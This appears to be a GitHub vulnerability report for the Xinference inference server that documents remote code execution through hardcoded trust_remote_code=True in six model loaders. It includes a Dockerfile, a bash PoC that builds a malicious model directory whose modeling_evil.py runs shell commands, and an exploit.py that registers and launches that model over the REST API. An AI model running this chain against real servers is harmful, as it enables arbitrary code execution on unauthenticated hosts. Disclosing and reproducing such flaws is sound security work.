Remote Code Execution via Hardcoded `trust_remote_code=True` in Model Loaders
gpu
### System Info / 系統信息
macOS
### Running Xinference with Docker? / 是否使用 Docker 运行 Xinfernece?
- [x] docker / docker
- [ ] pip install / 通过 pip install 安装
- [ ] installation from source / 从源码安装
### Version info / 版本信息
<=2.10.0
### The command used to start Xinference / 用以启动 xinference 的命令
I give detailed description and upload all related-related files in "Reproduction" Section.
Dockerfile
```
# Vulnerable inference server: Xinference 2.10.0 (OpenAI-compatible REST API).
FROM python:3.11-slim
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends curl \
&& rm -rf /var/lib/apt/lists/*
# CPU-only torch + torchvision first so the full xinference install does not pull
# CUDA torch (xinference imports torchvision at module load).
RUN pip install --no-cache-dir torch torchvision --index-url https://download.pytorch.org/whl/cpu
# Install xinference 2.10.0 with its full dependency set (transformers engine path).
RUN pip install --no-cache-dir "xinference==2.10.0"
EXPOSE 9997
CMD ["xinference-local", "--host", "0.0.0.0", "--port", "9997", "--log-level", "WARNING"]
```
Instructions in run_docker_poc.sh
```
info "Step 2: build vulnerable image (Xinference 2.10.0) — this is heavy"
docker build -t "$IMAGE" "$HERE/docker"
info "Step 3: start server on :$PORT (mounting evil model + proof)"
docker rm -f "$NAME" >/dev/null 2>&1 || true
docker run -d --name "$NAME" -p "$PORT:9997" \
-v "$EVIL:/evil_model:ro" -v "$PROOF:/proof" "$IMAGE" >/dev/null
```
### Reproduction / 复现过程
## Problem Statement
Xinference is an open-source inference server that hosts LLM / embedding / rerank / image models behind a network REST + Web UI. Six distinct model-loader call sites hardcode `trust_remote_code=True` (or default a config dict to `True`) when loading models. Because Xinference exposes **no** "disable remote code" knob, **any user with launch privileges can register/select a malicious model and obtain RCE as the worker process.**
## Vulnerable Code
All six sites in `main` branch (== `2.10.0`), shown at **method level** with the enclosing call path. The attacker-controlled value is always a literal `True` (or a `setdefault`/`get` default of `True`); no path threads an operator setting.
**1. `rerank/core.py` — `RerankModel._get_tokenizer` (reached from `__init__` via `_auto_detect_type`):**
```python
class RerankModel:
def __init__(self, ..., model_family: RerankModelFamilyV2, ...): # :120
...
if model_family.type == "unknown": # :141 ← attacker registers type="unknown"
model_family.type = self._auto_detect_type(model_path) # :142
@staticmethod
def _auto_detect_type(model_path): # :182
...
tokenizer = RerankModel._get_tokenizer(model_path) # :193
@staticmethod
def _get_tokenizer(model_path): # :176
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained(
model_path, trust_remote_code=True) # :179 ◀ SINK
return tokenizer
```
**2. `rerank/sentence_transformers/core.py` — `SentenceTransformerRerankModel.load`:**
```python
class SentenceTransformerRerankModel(RerankModel, BatchMixin):
def load(self): # :51
from sentence_transformers.cross_encoder import CrossEncoder # :95
self._model = CrossEncoder( # :111
self._model_path,
device=self._device,
trust_remote_code=True, # :114 ◀ SINK
max_length=getattr(self.model_family, "max_tokens"),
**self._kwargs,
)
```
**3. `embedding/sentence_transformers/core.py` — `SentenceTransformerEmbeddingModel.load`:**
```python
class SentenceTransformerEmbeddingModel(EmbeddingModel, BatchMixin):
def load(self): # :112
from sentence_transformers import SentenceTransformer # :136
...
self._model = SentenceTransformer( # :221
self._model_path,
device=self._device,
model_kwargs=model_kwargs,
trust_remote_code=True, # :225 ◀ SINK
truncate_dim=dimensions,
)
```
**4. `embedding/flag/core.py` — `FlagEmbeddingModel.load`:**
```python
def load(self): # :57
from FlagEmbedding import BGEM3FlagModel # :64
...
self._model = BGEM3FlagModel( # :96
self._model_path,
device=self._device,
trust_remote_code=True, # :99 ◀ SINK
return_sparse=self._return_sparse,
**model_kwargs,
)
```
**5. `llm/transformers/core.py` — `PytorchModel._sanitize_model_config` defaults it `True` (`:123`); `load()` forwards it into `_load_model`:**
```python
def __init__(self, ..., pytorch_model_config=None, ...): # :96
self._pytorch_model_config = self._sanitize_model_config(
pytorch_model_config) # :106
def _sanitize_model_config(self, pytorch_model_config): # :112
...
pytorch_model_config.setdefault("trust_remote_code", True) # :123 ← default True (no opt-out)
def load(self): # :323
...
kwargs["trust_remote_code"] = self._pytorch_model_config.get(
"trust_remote_code") # :350
...
def _load_model(self, **kwargs): # :203
tokenizer = AutoTokenizer.from_pretrained(
..., trust_remote_code=kwargs["trust_remote_code"]) # :214 ◀ SINK
model = AutoModelForCausalLM.from_pretrained(...) # :220 ◀ SINK
```
**6. `llm/transformers/core.py` — `PytorchModel._get_components` (tokenizer spec), same `True` default (`:196`):**
```python
def _get_components(self, **kwargs): # :186
from transformers import AutoTokenizer
return [
("tokenizer", getattr(self, "_tokenizer", None), AutoTokenizer, {
"use_fast": self._use_fast_tokenizer,
"trust_remote_code": kwargs.get("trust_remote_code", True), # :196 ◀ default True
...
}),
]
```
No `trust_remote_code` constant/config exists in `xinference/constants.py`; the operator cannot opt out at any of these sites.
## Reproduction
1. Builds the malicious model dir (`tokenizer_config.json` with `auto_map` → `modeling_evil.EvilTokenizer`, plus `modeling_evil.py`) and bind-mounts it at `/evil_model`.
2. Builds + starts Xinference `2.10.0` on `:9997`.
3. `exploit.py` sends `POST /v1/model_registrations/rerank` (type `unknown`) then `POST /v1/models?wait_ready=false` with `model_path=/evil_model`.
4. The worker runs `_auto_detect_type` → `_get_tokenizer` → `AutoTokenizer.from_pretrained(..., trust_remote_code=True)` → `modeling_evil.py` executes.
<img width="1646" height="877" alt="Image" src="https://github.com/user-attachments/assets/9a1a6a78-1837-44bb-81ff-0a217c17d4d6" />
```
[poc.zip](https://github.com/user-attachments/files/28906525/poc.zip)
#!/usr/bin/env bash
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
IMAGE="xinference-vuln:2.10.0"
NAME="xinference-rce-poc"
PORT=9997
PROOF="$HERE/proof"
EVIL="$HERE/evil_model"
GREEN='\033[0;32m'; RED='\033[0;31m'; YEL='\033[1;33m'; NC='\033[0m'
info(){ echo -e "${YEL}[poc]${NC} $*"; }
ok(){ echo -e "${GREEN}[ok]${NC} $*"; }
err(){ echo -e "${RED}[!]${NC} $*"; }
cleanup(){ docker rm -f "$NAME" >/dev/null 2>&1 || true; }
trap cleanup EXIT
rm -rf "$EVIL" 2>/dev/null || true
rm -f "$PROOF"/PWNED_XINF.json 2>/dev/null || true
mkdir -p "$PROOF" "$EVIL"
info "Step 1: build malicious model dir at $EVIL"
cat > "$EVIL/tokenizer_config.json" <<'EOF'
{ "tokenizer_class": "EvilTokenizer",
"auto_map": { "AutoTokenizer": ["modeling_evil.EvilTokenizer", null] } }
EOF
cat > "$EVIL/config.json" <<'EOF'
{ "model_type": "evil", "auto_map": { "AutoConfig": "modeling_evil.EvilConfig" } }
EOF
cat > "$EVIL/modeling_evil.py" <<'EOF'
import json, os, socket, subprocess, sys
proof = {
"what": "RCE inside Xinference worker via hardcoded trust_remote_code=True",
"root_cause": "xinference/model/rerank/core.py:179",
"host": socket.gethostname(),
"python": sys.executable,
"pid": os.getpid(),
"id": subprocess.run(["id"], capture_output=True, text=True).stdout.strip(),
"uname": subprocess.run(["uname","-a"], capture_output=True, text=True).stdout.strip(),
"module_file": __file__,
}
os.makedirs("/proof", exist_ok=True)
open("/proof/PWNED_XINF.json","w").write(json.dumps(proof, indent=2))
print("[PAYLOAD] arbitrary code executed inside the Xinference worker", flush=True)
from transformers import PretrainedConfig, PreTrainedTokenizer
class EvilConfig(PretrainedConfig):
model_type = "evil"
class EvilTokenizer(PreTrainedTokenizer):
model_input_names = ["input_ids"]
def __init__(self, *a, **kw):
super().__init__(*a, **kw); self.eos_token = "<|eos|>"
@property
def vocab_size(self): return 1
def get_vocab(self): return {"<pad>": 0}
def _tokenize(self, t): return [t]
def _convert_token_to_id(self, t): return 0
def _convert_id_to_token(self, i): return "<pad>"
def save_vocabulary(self, *a, **k): return ()
EOF
ok "evil model dir ready"
info "Step 2: build vulnerable image (Xinference 2.10.0) — this is heavy"
docker build -t "$IMAGE" "$HERE/docker"
info "Step 3: start server on :$PORT (mounting evil model + proof)"
docker rm -f "$NAME" >/dev/null 2>&1 || true
docker run -d --name "$NAME" -p "$PORT:9997" \
-v "$EVIL:/evil_model:ro" -v "$PROOF:/proof" "$IMAGE" >/dev/null
info "waiting for REST API readiness (xinference startup is heavy)..."
for i in $(seq 1 90); do
if curl -fsS "http://127.0.0.1:$PORT/v1/models" >/dev/null 2>&1; then
ok "server ready after ~${i}s"; break
fi
sleep 2
if ! docker ps --filter "name=$NAME" --format '{{.Names}}' | grep -q "$NAME"; then
err "container exited"; docker logs "$NAME" | tail -40; exit 1
fi
if [ "$i" = "90" ]; then err "server not ready"; docker logs "$NAME" | tail -40; exit 1; fi
done
info "Step 4: run remote exploit"
python3 "$HERE/exploit.py" "http://127.0.0.1:$PORT" "/evil_model"
info "polling for proof (up to 30s)..."
for i in $(seq 1 30); do [ -f "$PROOF/PWNED_XINF.json" ] && break; sleep 1; done
echo
echo "================================================================"
if [ -f "$PROOF/PWNED_XINF.json" ]; then
ok "MARKER PRESENT — RCE confirmed inside the Xinference worker:"
cat "$PROOF/PWNED_XINF.json"; echo
ok "Xinference 2.10.0 hardcoded trust_remote_code RCE: VERIFIED end-to-end."
else
err "marker not created — check logs"; docker logs "$NAME" | tail -50; exit 1
fi
```
```python
#!/usr/bin/env python3
"""
Remote exploit for a running Xinference server (docker/).
Threat model: Xinference is an inference server with an OpenAI-compatible REST
API. Any user who can reach the API and register/launch a model (the default
capability — `0.0.0.0:9997`, no auth out of the box) gets RCE, because every
model loader hardcodes trust_remote_code=True.
This drives the rerank path:
POST /v1/model_registrations/rerank -> register a model whose type is "unknown"
POST /v1/models?wait_ready=false -> launch it with model_path=<attacker dir>
worker: create_rerank_model_instance -> RerankModel.__init__
-> _auto_detect_type -> _get_tokenizer
-> AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
-> transformers loads modeling_evil.py -> code runs in the worker
The malicious model directory (config + modeling_evil.py) is supplied via
--model-path, an in-container path the worker can read (bind-mounted by
run_docker_poc.sh). No trust_remote_code is ever set by the attacker.
Usage:
python3 exploit.py http://127.0.0.1:9997 /evil_model
"""
import json
import sys
import time
import urllib.request
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9997"
MODEL_PATH = sys.argv[2] if len(sys.argv) > 2 else "/evil_model"
MODEL_NAME = "evil-poc-reranker"
def post(path, payload, timeout=120):
data = json.dumps(payload).encode()
req = urllib.request.Request(
BASE + path, data=data, headers={"Content-Type": "application/json"}
)
with urllib.request.urlopen(req, timeout=timeout) as r:
body = r.read().decode()
return r.status, (json.loads(body) if body.strip() else None)
def main():
print(f"[exploit] target = {BASE} model_path = {MODEL_PATH}")
spec = {
"version": 2,
"model_name": MODEL_NAME,
"type": "unknown", # -> _auto_detect_type -> _get_tokenizer -> RCE
"language": ["en"],
"max_tokens": 512,
"model_specs": [{
"model_format": "pytorch",
"model_id": "placeholder/evil-poc-reranker",
"quantization": "none",
}],
}
print("[exploit] step 1: POST /v1/model_registrations/rerank")
try:
print(" ", post("/v1/model_registrations/rerank",
{"model": json.dumps(spec), "persist": False}))
except Exception as e:
print(" register note:", type(e).__name__, str(e)[:120])
print("[exploit] step 2: POST /v1/models?wait_ready=false (model_path=attacker dir)")
try:
print(" ", post("/v1/models?wait_ready=false", {
"model_name": MODEL_NAME,
"model_type": "rerank",
"model_format": "pytorch",
"quantization": "none",
"model_path": MODEL_PATH,
}))
except Exception as e:
print(" launch note (downstream error after RCE is fine):",
type(e).__name__, str(e)[:120])
print("[exploit] done. Check ./proof/PWNED_XINF.json on the host.")
if __name__ == "__main__":
main()
```
### Expected behavior / 期待表现
The attacker can achieve RCE.
1 条评论